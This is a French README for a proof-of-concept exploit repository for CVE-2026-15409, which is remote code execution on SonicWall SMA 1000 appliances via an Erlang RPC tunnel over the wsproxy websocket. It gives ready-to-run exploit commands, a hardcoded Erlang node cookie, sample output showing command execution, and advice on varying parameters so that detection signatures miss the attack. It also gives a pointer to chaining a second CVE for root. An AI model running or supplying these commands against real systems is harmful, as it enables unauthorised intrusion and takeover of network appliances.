CVE-2026-15409
Ce dépôt contient un exploit de preuve de concept pour CVE-2026-15409. Il établit une exécution de code à distance sans privilèges root sur SonicWall SMA 1000 en implémentant le protocole Erlang attendu sur localhost:1050 et en le tunnellisant via le websocket pour la lecture/écriture de fichiers et l'exécution de code arbitraire via des appels RPC.
Utilisation
# python3 cve-2026-15409.py --ws-url 'wss://192.168.1.46/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --exec 'whoami && id && pwd && hostname'
Authenticated to [email protected]
Peer flags: 0xd07df7fbd
Peer creation: 1784069352
RPC os:cmd/1 => couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma
Notes sur l'exploitation et la détection
- Cet exploit cible le service WorkPlace (généralement à l'écoute sur le port 443), qui est probablement activé presque tout le temps (nécessite la configuration d'une méthode d'authentification utilisateur comme un AD basique)
- Développé contre ex_sra_vm_12.5.0-02002.ova avec le correctif de juin 2026 appliqué (le plus récent avant le patch)
- Exemple : python3 cve-2026-15409.py --ws-url 'wss://TARGET_IP_HERE/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'touch /var/tmp/remote_code_execution'
- Le cookie de nœud Erlang utilisé pour l'exploitation devrait être cohérent entre les cibles, il est codé en dur pour le processus Erlang sur localhost:1050, selon les tests.
- Les valeurs bmID arbitraires devraient généralement fonctionner tant que la valeur commence par "-3389". N'écrivez pas de signatures basées sur "serviceType=SSH", car il existe des alternatives comme TELNET qui fonctionnent aussi. 0.0.0.0 peut également être remplacé par d'autres formats d'adresse.
- Le port 1050 est une technique d'exploitation, pas une exigence codée en dur pour l'exploitation. EITW a été observé ciblant également le port 8188, bien qu'il semble plus simple d'utiliser le 1050. Il peut y avoir d'autres services sur différents ports qui peuvent aussi être exploités. L'exécution de code dans la nature se fera probablement dans d'autres contextes utilisateur que couchdb, en raison de la variété des techniques utilisées.
- L'attaquant peut élever ses privilèges jusqu'à root avec l'exploit de traversée xmlrpc "remove hotfix" CVE-2026-15410 (ciblant localhost:8188) une fois un shell établi.